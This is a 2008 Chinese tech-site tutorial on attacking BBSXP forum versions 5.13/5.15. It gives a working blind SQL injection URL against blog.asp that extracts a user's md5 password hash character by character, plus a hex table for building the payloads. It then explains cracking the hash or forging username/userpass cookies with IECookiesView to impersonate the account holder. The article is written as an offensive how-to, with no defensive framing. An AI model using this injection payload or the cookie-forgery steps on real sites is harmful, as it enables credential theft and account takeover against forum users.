科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道BBSXP论坛手工得到用户md5密码的方法

BBSXP论坛手工得到用户md5密码的方法

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

通过阅读本文,您将了解到:1、一种手工得到两个版本的BBSXP论坛的用户md5密码的方法;2、如何Cookie欺骗。

作者:小王 来源:51CTO.com   2008年9月22日

关键字: md5密码 破解技术 加密解密

  • 评论
  • 分享微博
  • 分享邮件

  大家都知道BBSXP论坛5.13,5.15版本的blog.asp文件存在注入漏洞,网上也有几种这个漏洞的利用软件,可是有不少网友反映使用这些软件有时候无法成功得到完整的32位md5密码,还有一些利用软件被捆绑了木马,所以我在本文介绍一种手工得到注册用户32位md5密码的方法。

  我们可以通过提交下面的代码测试用户名为admin的32位md5密码中的第十位是否为3:

  /blog.asp?id=1%09and%09exists%09(select%09*%09from%09[user]%09where%

  09username=0x610064006D0069006E00%09and%09substring(userpass,10,1)=0x33)

  如果是3的话,该日志就会返回正常的页面,否则会提示“该用户暂时没有任何日志”。其中

  select%09*%09from%09[user]%09where%09username=0x610064006D0069006E00%09and%

  09substring(userpass,10,1)=0x33

  这是一条select语句,意思是得到从user表中选出某条记录的username列=0x610064006D0069006E00并且该记录的userpass列的第10个字符=0x33 。

  select的语法为:

  SELECT FieldOFTableList

  INTO VariableList

  FROM TableName

  WHERE Criteria;

  其中FieldOFTableList代表接收数据的变量名列表,VariableList代表获得检索结果的变量,TableName代表被检索的表名,Criteria是检索条件。

  0x610064006D0069006E00是admin转换成十六进制得到的,这个字符串我们可以使用“ASCII及进制转换”这个小工具转换得到,如图1所示。

图1

  0x33是3转换成十六进制得到的,从0到9,a到f的十六进制对应如下:

  0 0x30

  1 0x31

  2 0x32

  3 0x33

  4 0x34

  5 0x35

  6 0x36

  7 0x37

  8 0x38

  9 0x39

  a 0x61

  b 0x62

  c 0x63

  d 0x64

  e 0x65

  f 0x66

  如果用户名是汉字,比如一个用户名为“测试”,那“测试”这个字符串转换成十六进制为0x B2E200CAD400,因为一个汉字占用两个字节的内存。这样经过不断的测试,会最终得到一个32位的md5密码,这时我们可以md5密码破解类软件进行破解,或者到一些md5密码破解网站进行破解(2006年第1期第27页有专门的介绍),如果密码过于复杂,破解不出明文密码,那我们就可以使用IECookiesView这款软件进行cookie欺骗了,打开IECookiesView,找到BBSXP论坛的网址,分别将username和userpass改为要冒充的ID和我们得到的密码,并保存,如图2所示。

图2

  然后重新打开一个ie页面,再访问该论坛,就会发现我们成为要冒充的用户了。在这里有个地方需要注意一下,我们在进行Cookie欺骗时,要将得到32位的md5密码中的字母设置为大写的,否则Cookie欺骗无法成功。

  本文的测试论坛版本为BBSXP论坛5.13SQL版。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章